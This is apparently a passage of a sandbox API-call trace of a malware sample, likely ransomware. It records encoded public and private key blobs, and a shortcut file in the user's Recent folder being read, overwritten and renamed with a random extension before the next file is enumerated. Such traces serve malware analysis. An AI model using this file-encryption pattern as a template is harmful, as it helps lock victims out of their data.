KxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0080.410] GetCurrentThreadId () returned 0xa30 [0080.410] GetCurrentThreadId () returned 0xa30 [0080.410] GetCurrentThreadId () returned 0xa30 [0080.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.411] GetCurrentThreadId () returned 0xa30 [0080.411] GetCurrentThreadId () returned 0xa30 [0080.411] GetCurrentThreadId () returned 0xa30 [0080.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.411] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.412] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.412] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9f1 [0080.412] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.412] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x9f1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x9f1, lpOverlapped=0x0) returned 1 [0080.414] CloseHandle (hObject=0x124) returned 1 [0080.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.416] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x9f1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x9f1, lpOverlapped=0x0) returned 1 [0080.418] CloseHandle (hObject=0x124) returned 1 [0080.421] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ck9o.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ck9o.lnk.zv7un")) returned 1 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] GetCurrentThreadId () returned 0xa30 [0080.422] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24ae800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24ae800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14d8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cr lAb2zi.lnk", cAlternateFileName="CRLAB2~1.LNK")) returned 1 [0080.422] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.422] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24ae800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24ae800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14d8)) returned 1 [0080.422] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk")) returned 0x20 [0080.423] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk", dwFileAttributes=0x80) returned 1 [0080.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.426] GetCurrentThreadId () returned 0xa30 [0080.426] GetCurrentThreadId () returned 0xa30 [0080.426] GetCurrentThreadId () returned 0xa30 [0080.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 